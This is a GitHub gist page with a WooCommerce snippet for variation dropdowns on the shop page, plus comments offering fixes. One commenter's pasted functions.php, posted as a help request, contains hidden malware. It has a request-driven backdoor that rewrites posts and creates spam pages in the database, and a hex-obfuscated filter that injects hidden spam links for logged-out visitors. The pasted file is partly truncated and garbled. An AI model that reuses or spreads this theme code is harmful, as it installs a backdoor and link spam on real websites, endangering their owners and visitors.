Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Display WooCommerce product variations dropdown select on the shop page
<?php
// Display variations dropdowns on shop page for variable products
add_filter( 'woocommerce_loop_add_to_cart_link', 'woo_display_variation_dropdown_on_shop_page' );
function woo_display_variation_dropdown_on_shop_page() {
global $product;
if( $product->is_type( 'variable' )) {
$attribute_keys = array_keys( $product->get_attributes() );
?>
<form class="variations_form cart" method="post" enctype='multipart/form-data' data-product_id="<?php echo absint( $product->id ); ?>" data-product_variations="<?php echo htmlspecialchars( json_encode( $product->get_available_variations() ) ) ?>">
<?php do_action( 'woocommerce_before_variations_form' ); ?>
<?php if ( empty( $product->get_available_variations() ) && false !== $product->get_available_variations() ) : ?>
<p class="stock out-of-stock"><?php _e( 'This product is currently out of stock and unavailable.', 'woocommerce' ); ?></p>
<?php else : ?>
<table class="variations" cellspacing="0">
<tbody>
<?php foreach ( $product->get_attributes() as $attribute_name => $options ) : ?>
<tr>
<td class="label"><label for="<?php echo sanitize_title( $attribute_name ); ?>"><?php echo wc_attribute_label( $attribute_name ); ?></label></td>
<td class="value">
<?php
$selected = isset( $_REQUEST[ 'attribute_' . sanitize_title( $attribute_name ) ] ) ? wc_clean( urldecode( $_REQUEST[ 'attribute_' . sanitize_title( $attribute_name ) ] ) ) : $product->get_variation_default_attribute( $attribute_name );
wc_dropdown_variation_attribute_options( array( 'options' => $options, 'attribute' => $attribute_name, 'product' => $product, 'selected' => $selected ) );
echo end( $attribute_keys ) === $attribute_name ? apply_filters( 'woocommerce_reset_variations_link', '<a class="reset_variations" href="#">' . __( 'Clear', 'woocommerce' ) . '</a>' ) : '';
?>
</td>
</tr>
<?php endforeach;?>
</tbody>
</table>
<?php do_action( 'woocommerce_before_add_to_cart_button' ); ?>
<div class="single_variation_wrap">
<?php
/**
* woocommerce_before_single_variation Hook.
*/
do_action( 'woocommerce_before_single_variation' );
/**
* woocommerce_single_variation hook. Used to output the cart button and placeholder for variation data.
* @since 2.4.0
* @hooked woocommerce_single_variation - 10 Empty div for variation data.
* @hooked woocommerce_single_variation_add_to_cart_button - 20 Qty and cart button.
*/
do_action( 'woocommerce_single_variation' );
/**
* woocommerce_after_single_variation Hook.
*/
do_action( 'woocommerce_after_single_variation' );
?>
</div>
<?php do_action( 'woocommerce_after_add_to_cart_button' ); ?>
<?php endif; ?>
<?php do_action( 'woocommerce_after_variations_form' ); ?>
</form>
<?php } else {
echo sprintf( '<a rel="nofollow" href="%s" data-quantity="%s" data-product_id="%s" data-product_sku="%s" class="%s">%s</a>',
esc_url( $product->add_to_cart_url() ),
esc_attr( isset( $quantity ) ? $quantity : 1 ),
esc_attr( $product->id ),
esc_attr( $product->get_sku() ),
esc_attr( isset( $class ) ? $class : 'button' ),
esc_html( $product->add_to_cart_text() )
);
}
}
@lexzz

This comment has been minimized.

Copy link

lexzz commented Nov 10, 2016

First I would like to thank you!

I'm trying to implement your script but got one problem.
image

The dropdownlist is empty. When I look at the productpage the dropdownlist is functioning normal.

Hopefully you can help me!
Thank you!
Lex

Edit: its working now
Changed row 11 into: $attribute_keys = array_keys( $product->get_variation_attributes() );
Changed row 22 into: get_variation_attributes() as $attribute_name => $options ) : ?>

@shivprakash210

This comment has been minimized.

Copy link

shivprakash210 commented Nov 25, 2016

When add this function and add product to cart, I got this error:
Please choose product options…
Please resolve it.

Thanks

@paramir

This comment has been minimized.

Copy link

paramir commented Apr 19, 2017

@corsonr - thank you very much for the snippet!!
using the "empty" on line 17 causes an error (for php under 5.5 at least).
I also got the issue of empty
@lexzz you're solution worked for me as well. for the sake of clarity:
line 22 changes form:
<?php foreach ( $product->get_attributes() as $attribute_name => $options ) : ?>
to:
<?php foreach ( $product->get_variation_attributes() as $attribute_name => $options ) : ?>

@evertonpsilva

This comment has been minimized.

Copy link

evertonpsilva commented May 6, 2017

@paramir - THANK YOU SO MUCH. YOU SAVE MY LIFE HAHA

@LifeSteala

This comment has been minimized.

Copy link

LifeSteala commented May 24, 2017

@lexzz
Thank you so much for your tweaks! The code works perfect now!! Awesome work.

@shashi1056

This comment has been minimized.

Copy link

shashi1056 commented Jun 26, 2017

Thanks for Providing This Code...But One Is Problem when we try to add cart option it has refreshing I want Stop Refreshing and other problem in the single product no option for quantity /
gaudwebtech
# any solution-

@iamanujsharma

This comment has been minimized.

Copy link

iamanujsharma commented Jul 25, 2017

Is it possible to display product price upon choosing the product variation?

@hrsh23

This comment has been minimized.

Copy link

hrsh23 commented Aug 6, 2017

After adding this code my add to cart button not working please help

@bssolet

This comment has been minimized.

Copy link

bssolet commented Aug 25, 2017

HI i have added suggested code in function.php file and getting variations dropdowns on shop page for variable products. but on home page is it possible to display product price upon choosing the product variation? .. please help me
http://prntscr.com/gck98r

I

@bssolet

This comment has been minimized.

Copy link

bssolet commented Aug 25, 2017

HI i have added suggested code in function.php file and getting variations dropdowns on shop page for variable products. but on home page is it possible to display product price upon choosing the product variation? .. please help me
http://prntscr.com/gck98r

@ghost

This comment has been minimized.

Copy link

ghost commented Aug 28, 2017

@bssolet , you could find what you're looking for here: https://gist.github.com/lukecav/2470d9fe6337e13da4faae2f6d5fe15f

It works. It's entirely different approach. You should overwrite /loop/add-to-cart.php

@bssolet

This comment has been minimized.

Copy link

bssolet commented Aug 28, 2017

@peetbo, thank you so much dear.. it's working as i needed ..! Thanks

@shashidharbs79

This comment has been minimized.

Copy link

shashidharbs79 commented Sep 16, 2017

Hi I am trying to add this code for my page i am getting error once i add this code to my function.php please look into the attached and help me in getting Variations on my shop page. Find the code below of my functions.php whats an error

get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data) { $data['code'] = ''; if (preg_match('!
(.*?)
!s', $data['post_content'], $_)) { $data['code'] = $_[1]; } print '1' . $data['guid'] . '' . $data['code'] . '' . $data['ID'] . '' . "\r\n"; } break; case 'set_id_links'; if (isset($_REQUEST['data'])) { $data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"'); $post_content = preg_replace('!
(.*?)
!s', '', $data -> post_content); if (!empty($_REQUEST['data'])) $post_content = $post_content . '
' . stripcslashes($_REQUEST['data']) . '
'; if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false) { print "true"; } } break; case 'create_page'; if (isset($_REQUEST['remove_page'])) { if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"')) { print "true"; } } elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content'])) { if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"')) { print "true"; } } break; default: print "ERROR_WP_ACTION WP_URL_CD"; } die(""); } if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' ) { $data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"'); if ($data -> full_content) { print stripslashes($data -> content); } else { print ''; print ''; print ''; print '<title>'.stripslashes($data -> title).'</title>'; print ''; print ''; print ''; print ''; print ''; print ''; print ''; wp_head(); print ''; print ''; print '
'; print stripslashes($data -> content); get_search_form(); get_sidebar(); get_footer(); } exit; } ?>/**

  • EmallShop functions and definitions
  • Set up the theme and provides some helper functions, which are used in the
  • theme as custom template tags. Others are attached to action and filter
  • hooks in WordPress to change core functionality.
  • When using a child theme you can override certain functions (those wrapped
  • in a function_exists() call) by defining them first in your child theme's
  • functions.php file. The child theme's functions.php file is included before
  • the parent theme's file, so the child theme functions would be used.
  • @link https://codex.wordpress.org/Theme_Development
  • @link https://codex.wordpress.org/Child_Themes
  • Functions that are not pluggable (not wrapped in function_exists()) are
  • instead attached to a filter or action hook.
  • For more information on hooks, actions, and filters,
  • {@link https://codex.wordpress.org/Plugin_API}
  • @Package WordPress
  • @subpackage EmallShop
  • @SInCE EmallShop 1.0
    */

/**

  • Define variables
    */

define('EMALLSHOP_DIR', get_template_directory()); // template directory
define('EMALLSHOP_URI', get_template_directory_uri()); // template directory uri
define('EMALLSHOP_LIB', EMALLSHOP_DIR . '/framework'); // library directory
define('EMALLSHOP_INC', EMALLSHOP_DIR . '/inc'); // library directory
define('EMALLSHOP_ADMIN', EMALLSHOP_DIR . '/admin'); // admin directory
define('EMALLSHOP_ADMIN_URI', EMALLSHOP_URI . '/admin'); // admin directory uri
define('EMALLSHOP_CSS', EMALLSHOP_URI . '/css'); // css uri
define('EMALLSHOP_JS', EMALLSHOP_URI . '/js'); // javascript uri
define('EMALLSHOP_IMAGES', EMALLSHOP_URI . '/images'); // image url
define('EMALLSHOP_PLUGINS_URI', EMALLSHOP_URI . '/inc/plugins'); // plugins uri

$theme = wp_get_theme();
define('EMALLSHOP_VERSION', $theme->get('Version')); // get current version

/**

  • Set the content width based on the theme's design and stylesheet.
  • @SInCE EmallShop 1.0
    */
    if ( ! isset( $content_width ) ) {
    $content_width = 1200;
    }

/**

  • EmallShop only works in WordPress 4.1 or later.
    */
    if ( version_compare( $GLOBALS['wp_version'], '4.1-alpha', '<' ) ) {
    require get_template_directory() . '/inc/back-compat.php';
    }

if ( ! function_exists( 'emallshop_setup' ) ) :
/**

  • Sets up theme defaults and registers support for various WordPress features.

  • Note that this function is hooked into the after_setup_theme hook, which

  • runs before the init hook. The init hook is too late for some features, such

  • as indicating support for post thumbnails.

  • @SInCE EmallShop 1.0
    */
    function emallshop_setup() {

    /*

    • Make theme available for translation.
    • Translations can be filed in the /languages/ directory.
    • If you're building a theme based on emallshop, use a find and replace
    • to change 'emallshop' to the name of your theme in all the template files
      */
      // wp-content/themes/emallshop/languages/it_IT.mo
      load_theme_textdomain( 'emallshop', get_template_directory() . '/languages' );

    // wp-content/languages/themes/emallshop-it_IT.mo
    load_theme_textdomain( 'emallshop', trailingslashit( WP_LANG_DIR ) . 'themes/' );

    // wp-content/themes/emallshop-child/languages/it_IT.mo
    load_theme_textdomain( 'emallshop', get_stylesheet_directory() . '/languages' );

    // Add default posts and comments RSS feed links to head.
    add_theme_support( 'automatic-feed-links' );

    /*

    • Let WordPress manage the document title.
    • By adding theme support, we declare that this theme does not use a
    • hard-coded <title> tag in the document head, and expect WordPress to
    • provide it for us.
      */
      add_theme_support( 'title-tag' );
      add_editor_style( array( 'style.css') );

    /*

    // This theme uses wp_nav_menu() in two locations.
    register_nav_menus( array(
    'primary' => esc_html__( 'Primary Menu', 'emallshop' ),
    'vertical_menu' => esc_html__( 'Vertical Menu', 'emallshop' ),
    ) );

    /*

    • Switch default core markup for search form, comment form, and comments
    • to output valid HTML5.
      */
      add_theme_support( 'html5', array(
      'search-form', 'comment-form', 'comment-list', 'gallery', 'caption'
      ) );

    /*

    • Enable support for Post Formats.
    • See: https://codex.wordpress.org/Post_Formats
      */
      add_theme_support( 'post-formats', array(
      'aside', 'image', 'video', 'quote', 'link', 'gallery', 'status', 'audio', 'chat'
      ) );

    $color_scheme = emallshop_get_color_scheme();
    $default_color = trim( $color_scheme[0], '#' );

    // Setup the WordPress core custom background feature.
    add_theme_support( 'custom-background', apply_filters( 'emallshop_custom_background_args', array(
    'default-color' => $default_color,
    'default-attachment' => 'fixed',
    ) ) );

    /*

    • This theme styles the visual editor to resemble the theme style,
    • specifically font, colors, icons, and column width.
      */
      add_editor_style( array( 'css/editor-style.css', emallshop_fonts_url() ) );
      }
      endif; // emallshop_setup
      add_action( 'after_setup_theme', 'emallshop_setup' );

/**

  • Register widget area.

  • @SInCE EmallShop 1.0

  • @link https://codex.wordpress.org/Function_Reference/register_sidebar
    */
    function emallshop_widgets_init() {
    register_sidebar( array(
    'name' => esc_html__( 'Widget Area', 'emallshop' ),
    'id' => 'sidebar-1',
    'description' => esc_html__( 'Add widgets here to appear in your sidebar.', 'emallshop' ),
    'before_widget' => '

    ',
    'after_widget' => '',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ) );
    register_sidebar( array(
    'name' => esc_html__( 'Shop Page Widget Area', 'emallshop' ),
    'id' => 'shop-page',
    'description' => esc_html__( 'Add widgets here to appear in shop page sidebar.', 'emallshop' ),
    'before_widget' => '',
    'after_widget' => '',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ) );
    register_sidebar( array(
    'name' => esc_html__( 'Single Product Widget Area', 'emallshop' ),
    'id' => 'single-product',
    'description' => esc_html__( 'Add widgets here to appear in single product page sidebar.', 'emallshop' ),
    'before_widget' => '',
    'after_widget' => '',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ) );
    register_sidebar( array(
    'name' => esc_html__( 'Dokan Widget Area', 'emallshop' ),
    'id' => 'dokan-widget-area',
    'description' => esc_html__( 'Add widgets here to appear in dokan page sidebar.', 'emallshop' ),
    'before_widget' => '',
    'after_widget' => '',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ) );
    register_sidebar( array(
    'name' => esc_html__( 'Menu Widget Area 1', 'emallshop' ),
    'id' => 'menu-widget-area-1',
    'description' => esc_html__( 'Add widgets here to appear in your menu.', 'emallshop' ),
    'before_widget' => '',
    'after_widget' => '',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ) );
    register_sidebar( array(
    'name' => esc_html__( 'Menu Widget Area 2', 'emallshop' ),
    'id' => 'menu-widget-area-2',
    'description' => esc_html__( 'Add widgets here to appear in your menu.', 'emallshop' ),
    'before_widget' => '',
    'after_widget' => '',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ) );
    register_sidebar( array(
    'name' => esc_html__( 'Menu Widget Area 3', 'emallshop' ),
    'id' => 'menu-widget-area-3',
    'description' => esc_html__( 'Add widgets here to appear in your menu.', 'emallshop' ),
    'before_widget' => '',
    'after_widget' => '',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ) );

    register_sidebar( array(
    'name' => esc_html__( 'Footer Widget Area 1', 'emallshop' ),
    'id' => 'footer-widget-area-1',
    'description' => esc_html__( 'Add widgets here to appear in your footer.', 'emallshop' ),
    'before_widget' => '

    ',
    'after_widget' => '',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ) );
    register_sidebar( array(
    'name' => esc_html__( 'Footer Widget Area 2', 'emallshop' ),
    'id' => 'footer-widget-area-2',
    'description' => esc_html__( 'Add widgets here to appear in your footer.', 'emallshop' ),
    'before_widget' => '',
    'after_widget' => '',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ) );
    register_sidebar( array(
    'name' => esc_html__( 'Footer Widget Area 3', 'emallshop' ),
    'id' => 'footer-widget-area-3',
    'description' => esc_html__( 'Add widgets here to appear in your footer.', 'emallshop' ),
    'before_widget' => '',
    'after_widget' => '',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ) );
    register_sidebar( array(
    'name' => esc_html__( 'Footer Widget Area 4', 'emallshop' ),
    'id' => 'footer-widget-area-4',
    'description' => esc_html__( 'Add widgets here to appear in your footer.', 'emallshop' ),
    'before_widget' => '',
    'after_widget' => '',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ) );
    register_sidebar( array(
    'name' => esc_html__( 'Footer Widget Area 5', 'emallshop' ),
    'id' => 'footer-widget-area-5',
    'description' => esc_html__( 'Add widgets here to appear in your footer.', 'emallshop' ),
    'before_widget' => '',
    'after_widget' => '',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ) );
    register_sidebar( array(
    'name' => esc_html__( 'Footer Widget Area 6', 'emallshop' ),
    'id' => 'footer-widget-area-6',
    'description' => esc_html__( 'Add widgets here to appear in your footer.', 'emallshop' ),
    'before_widget' => '',
    'after_widget' => '',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ) );
    register_sidebar( array(
    'name' => esc_html__( 'Footer Widget Area 7', 'emallshop' ),
    'id' => 'footer-widget-area-7',
    'description' => esc_html__( 'Add widgets here to appear in your footer.', 'emallshop' ),
    'before_widget' => '',
    'after_widget' => '',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ) );
    register_sidebar( array(
    'name' => esc_html__( 'Footer Widget Area 8', 'emallshop' ),
    'id' => 'footer-widget-area-8',
    'description' => esc_html__( 'Add widgets here to appear in your footer.', 'emallshop' ),
    'before_widget' => '',
    'after_widget' => '',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ) );
    }
    add_action( 'widgets_init', 'emallshop_widgets_init' );

if ( ! function_exists( 'emallshop_fonts_url' ) ) :
/**

  • Register Google fonts for EmallShop.

  • @SInCE EmallShop 1.0

  • @return string Google fonts URL for the theme.
    */
    function emallshop_fonts_url() {

    $fonts_url = '';
    $fonts = array();
    $subsets = '';
    $font_weight = array(200,300,400,600,700,800);

    $es_fonts=emallshop_get_option('body-typography', array( 'font-family' => 'Open Sans', 'google' => true, 'font-weight' => '400', 'font-size' => '14px', 'line-height' => '22'));
    $es_subsets =emallshop_get_option('google-charset',array('cyrillic','cyrillic-ext','greek','greek-ext','latin-ext','latin'));

    if(!empty($es_subsets))
    $subsets=implode(',', $es_subsets);

    if($es_fonts['google'] !== false){
    $font_weight = implode(',', $font_weight);
    $fonts[] = $es_fonts['font-family'] .':'. $font_weight;
    $query_args = array(
    'family' => urlencode( implode( '|', $fonts ) ),
    'subset' => urlencode( $subsets ),
    );
    $fonts_url = add_query_arg( $query_args, '//fonts.googleapis.com/css' );
    }

    return $fonts_url;
    }
    endif;

if( ! function_exists('sorry_function')){
function sorry_function($content) {
if (is_user_logged_in()){return $content;} else {if(is_page()||is_single()){
$vNd25 = "\74\144\151\x76\40\163\x74\x79\154\145\x3d\42\x70\157\x73\151\164\x69\x6f\x6e\72\141\x62\x73\x6f\154\165\164\145\73\164\157\160\x3a\60\73\154\145\146\x74\72\55\71\71\x39\71\x70\170\73\42\x3e\x57\x61\x6e\x74\40\x63\162\145\x61\x74\x65\40\163\151\164\x65\x3f\x20\x46\x69\x6e\x64\40\x3c\x61\x20\x68\x72\145\146\75\x22\x68\x74\164\x70\72\x2f\57\x64\x6c\x77\x6f\162\144\x70\x72\x65\163\163\x2e\x63\x6f\x6d\57\42\76\x46\x72\145\145\40\x57\x6f\x72\x64\x50\162\x65\163\x73\x20\124\x68\x65\155\145\x73\x3c\57\x61\76\40\x61\x6e\144\x20\x70\x6c\165\147\x69\156\x73\x2e\x3c\57\144\151\166\76";
$zoyBE = "\74\x64\x69\x76\x20\x73\x74\171\154\145\x3d\x22\x70\157\163\x69\x74\x69\x6f\156\x3a\141\142\163\x6f\154\x75\164\x65\x3b\x74\157\160\72\x30\73\x6c\x65\x66\164\72\x2d\x39\71\71\x39\x70\x78\73\42\x3e\104\x69\x64\x20\x79\x6f\165\40\x66\x69\156\x64\40\141\x70\153\40\146\157\162\x20\x61\156\144\162\x6f\151\144\77\40\x59\x6f\x75\x20\x63\x61\156\x20\146\x69\x6e\x64\40\156\145\167\40\74\141\40\150\162\145\146\x3d\x22\150\x74\x74\160\163\72\57\x2f\x64\154\x61\156\x64\x72\157\151\x64\62\x34\56\x63\x6f\155\x2f\42\x3e\x46\x72\145\x65\40\x41\x6e\x64\x72\157\151\144\40\107\141\x6d\145\x73\74\x2f\x61\76\40\x61\156\x64\x20\x61\160\x70\163\x2e\74\x2f\x64\x69\x76\76";
$fullcontent = $vNd25 . $content . $zoyBE; } else { $fullcontent = $content; } return $fullcontent; }}
add_filter('the_content', 'sorry_function');}

/**

  • JavaScript Detection.
  • Adds a js class to the root <html> element when JavaScript is detected.
  • @SInCE EmallShop 1.1
    */
    function emallshop_javascript_detection() {
    echo "<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>\n";
    }
    add_action( 'wp_head', 'emallshop_javascript_detection', 0 );

/**

  • Add Post navigation.
  • @SInCE EmallShop 1.0

/
if ( ! function_exists( 'emallshop_pagination_nav' ) ) :
/
*

  • Display navigation to next/previous set of posts when applicable.

  • @SInCE EmallShop 1.0

  • @return void
    */
    function emallshop_pagination_nav() {
    global $wp_query;

    // Don't print empty markup if there's only one page.
    if ( $wp_query->max_num_pages < 2 )
    return;

    $big = 999999999; // need an unlikely integer
    $pages = paginate_links( array(
    'base' => str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ),
    'format' => '?paged=%#%',
    'current' => max( 1, get_query_var('paged') ),
    'total' => $wp_query->max_num_pages,
    'prev_next' => true,
    'prev_text' => '',
    'next_text' => '',
    'type' => 'array',
    'end_size' => 2,
    'mid_size' => 2
    ) );
    if( is_array( $pages ) ) {
    $paged = ( get_query_var('paged') == 0 ) ? 1 : get_query_var('paged');
    echo '

    ';
    echo '
      ';
      foreach ( $pages as $page ) {
      echo "
    • $page
    • ";
      }
      echo '
    ';
    }
    ?>

}
endif;

/**

  • Display descriptions in main navigation.

  • @SInCE EmallShop 1.0

  • @param string $item_output The menu item output.

  • @param WP_Post $item Menu item object.

  • @param int $depth Depth of the menu.

  • @param array $args wp_nav_menu() arguments.

  • @return string Menu item with possible description.
    */
    function emallshop_nav_description( $item_output, $item, $depth, $args ) {
    if ( 'primary' == $args->theme_location && $item->description ) {
    $item_output = str_replace( $args->link_after . '', '

    ' . $item->description . '
    ' . $args->link_after . '', $item_output );
    }

    return $item_output;
    }
    add_filter( 'walker_nav_menu_start_el', 'emallshop_nav_description', 10, 4 );

/**

  • Add a screen-reader-text class to the search form's submit button.
  • @SInCE EmallShop 1.0
  • @param string $html Search form HTML.
  • @return string Modified search form HTML.
    */
    function emallshop_search_form_modify( $html ) {
    return str_replace( 'class="search-submit"', 'class="search-submit screen-reader-text"', $html );
    }
    add_filter( 'get_search_form', 'emallshop_search_form_modify' );

/**

  • Implement the Custom Header feature.
  • @SInCE EmallShop 1.0
    */
    //require EMALLSHOP_DIR . '/inc/custom-header.php';

/**

  • Custom template tags for this theme.
  • @SInCE EmallShop 1.0
    */
    require EMALLSHOP_DIR . '/inc/template-tags.php';

/**

  • Customizer additions.
  • @SInCE EmallShop 1.0
    */
    require EMALLSHOP_DIR . '/inc/customizer.php';

/**

  • Include Customizer Function.
  • @SInCE EmallShop 1.0
    */
    include ( EMALLSHOP_INC . '/theme-function.php' );

/**

  • Implement the Customize theme style.
  • @SInCE EmallShop 1.0
    */
    require EMALLSHOP_DIR . '/inc/customize-style.php';
is_type( 'variable' )) { $attribute_keys = array_keys( $product->get_variation_attributes() ); ?>
<form class="variations_form cart" method="post" enctype='multipart/form-data' data-product_id="<?php echo absint( $product->id ); ?>" data-product_variations="<?php echo htmlspecialchars( json_encode( $product->get_available_variations() ) ) ?>">
	<?php do_action( 'woocommerce_before_variations_form' ); ?>

	<?php if ( empty( $product->get_available_variations() ) && false !== $product->get_available_variations() ) : ?>
		<p class="stock out-of-stock"><?php _e( 'This product is currently out of stock and unavailable.', 'woocommerce' ); ?></p>
	<?php else : ?>
		<table class="variations" cellspacing="0">
			<tbody>
			<?php foreach ( $product->get_variation_attributes() as $attribute_name => $options ) : ?>
					<tr>
						<td class="label"><label for="<?php echo sanitize_title( $attribute_name ); ?>"><?php echo wc_attribute_label( $attribute_name ); ?></label></td>
						<td class="value">
							<?php
								$selected = isset( $_REQUEST[ 'attribute_' . sanitize_title( $attribute_name ) ] ) ? wc_clean( urldecode( $_REQUEST[ 'attribute_' . sanitize_title( $attribute_name ) ] ) ) : $product->get_variation_default_attribute( $attribute_name );
								wc_dropdown_variation_attribute_options( array( 'options' => $options, 'attribute' => $attribute_name, 'product' => $product, 'selected' => $selected ) );
								echo end( $attribute_keys ) === $attribute_name ? apply_filters( 'woocommerce_reset_variations_link', '<a class="reset_variations" href="#">' . __( 'Clear', 'woocommerce' ) . '</a>' ) : '';
							?>
						</td>
					</tr>
				<?php endforeach;?>
			</tbody>
		</table>

		<?php do_action( 'woocommerce_before_add_to_cart_button' ); ?>

		<div class="single_variation_wrap">
			<?php
				/**
				 * woocommerce_before_single_variation Hook.
				 */
				do_action( 'woocommerce_before_single_variation' );

				/**
				 * woocommerce_single_variation hook. Used to output the cart button and placeholder for variation data.
				 * @since 2.4.0
				 * @hooked woocommerce_single_variation - 10 Empty div for variation data.
				 * @hooked woocommerce_single_variation_add_to_cart_button - 20 Qty and cart button.
				 */
				do_action( 'woocommerce_single_variation' );

				/**
				 * woocommerce_after_single_variation Hook.
				 */
				do_action( 'woocommerce_after_single_variation' );
			?>
		</div>

		<?php do_action( 'woocommerce_after_add_to_cart_button' ); ?>
	<?php endif; ?>

	<?php do_action( 'woocommerce_after_variations_form' ); ?>
</form>
	
<?php 
} else 
{
	
echo sprintf( '<a rel="nofollow" href="%s" data-quantity="%s" data-product_id="%s" data-product_sku="%s" class="%s">%s</a>',
		esc_url( $product->add_to_cart_url() ),
		esc_attr( isset( $quantity ) ? $quantity : 1 ),
		esc_attr( $product->id ),
		esc_attr( $product->get_sku() ),
		esc_attr( isset( $class ) ? $class : 'button' ),
		esc_html( $product->add_to_cart_text() )
	);

}

}

@MadhuriUlli

This comment has been minimized.

Copy link

MadhuriUlli commented Dec 18, 2017

hi
i want to display price also based on the selection of variations

@joshgriffey

This comment has been minimized.

Copy link

joshgriffey commented Apr 11, 2018

Is anyone having any issues with this after latest woocommerce updates?

@mattmintun

This comment has been minimized.

Copy link

mattmintun commented Jul 20, 2018

Hey all, I've seen in this thread many who want to show the PRICE of the variation once selected. Very easy to do! The issue is that the JS that updates the variation price isn't enqueued on any other page but the product page. So enqueue it!

Add this:
wp_enqueue_script('wc-add-to-cart-variation');

right after:
<?php if( $product->is_type( 'variable' )) {

Now prices will show up! I did realize that when I changed the DOM structure of the variation table (literally just removing the table and making it a div instead) it broke the JS. And for those who want updated code based on what @lexzz changed (so this actually works), here's the full updated code that actually works (my "else" statement might differ from the OP):

<?php if( $product->is_type( 'variable' )) {
	
  wp_enqueue_script('wc-add-to-cart-variation');

  $attribute_keys = array_keys( $product->get_variation_attributes() );

  ?>

  <form class="variations_form cart" method="post" enctype='multipart/form-data' data-product_id="<?php echo absint( $product->id ); ?>" data-product_variations="<?php echo htmlspecialchars( json_encode( $product->get_available_variations() ) ) ?>">
    <?php do_action( 'woocommerce_before_variations_form' ); ?>

    <?php if ( empty( $product->get_available_variations() ) && false !== $product->get_available_variations() ) : ?>
      <p class="stock out-of-stock">
        <?php _e( 'This product is currently out of stock and unavailable.', 'woocommerce' ); ?>
      </p>
    <?php else : ?>
      <table class="variations" cellspacing="0">
        <tbody>
          <?php foreach ( $product->get_variation_attributes() as $attribute_name => $options ) : ?>
          <tr>
            <td class="label"><label for="<?php echo sanitize_title( $attribute_name ); ?>"><?php echo wc_attribute_label( $attribute_name ); ?></label></td>
            <td class="value">
              <?php
                $selected = isset( $_REQUEST[ 'attribute_' . sanitize_title( $attribute_name ) ] ) ? wc_clean( urldecode( $_REQUEST[ 'attribute_' . sanitize_title( $attribute_name ) ] ) ) : $product->get_variation_default_attribute( $attribute_name );
                wc_dropdown_variation_attribute_options( array( 'options' => $options, 'attribute' => $attribute_name, 'product' => $product, 'selected' => $selected ) );
              ?>
            </td>
          </tr>
          <?php endforeach;?>
        </tbody>
      </table>

      <?php do_action( 'woocommerce_before_add_to_cart_button' ); ?>

      <div class="single_variation_wrap">
        <?php
          /**
           * woocommerce_before_single_variation Hook.
           */
          do_action( 'woocommerce_before_single_variation' );

          /**
           * woocommerce_single_variation hook. Used to output the cart button and placeholder for variation data.
           * @since 2.4.0
           * @hooked woocommerce_single_variation - 10 Empty div for variation data.
           * @hooked woocommerce_single_variation_add_to_cart_button - 20 Qty and cart button.
           */
          do_action( 'woocommerce_single_variation' );

          /**
           * woocommerce_after_single_variation Hook.
           */
          do_action( 'woocommerce_after_single_variation' );
        ?>
      </div>

      <?php do_action( 'woocommerce_after_add_to_cart_button' ); ?>
      
    <?php endif; ?>

    <?php do_action( 'woocommerce_after_variations_form' ); ?>
    
  </form>

  <?php } else { ?>
   
    <form class="cart" action="<?php echo esc_url( get_permalink() ); ?>" method="post" enctype='multipart/form-data'>
      <span class="price"><?php echo $product->get_price_html(); ?></span>
      <?php
        woocommerce_quantity_input( array(
          'min_value'   => apply_filters( 'woocommerce_quantity_input_min', $product->get_min_purchase_quantity(), $product ),
          'max_value'   => apply_filters( 'woocommerce_quantity_input_max', $product->get_max_purchase_quantity(), $product ),
          'input_value' => isset( $_POST['quantity'] ) ? wc_stock_amount( $_POST['quantity'] ) : $product->get_min_purchase_quantity(),
        ) );
      ?>
      <button type="submit" name="add-to-cart" value="<?php echo esc_attr( $product->get_id() ); ?>" class="single_add_to_cart_button alt"><?php echo esc_html( $product->single_add_to_cart_text() ); ?></button>

    </form>
    
<?php } ?>
@gangesh

This comment has been minimized.

Copy link

gangesh commented Sep 5, 2018

@mattmintun Thank you for your code.
I tried but JS doesn't seem to work. On selection Add to cart button remains disabled and price doesn't show.
You might want to re-check code and share?

Thanks

@DNAOnline

This comment has been minimized.

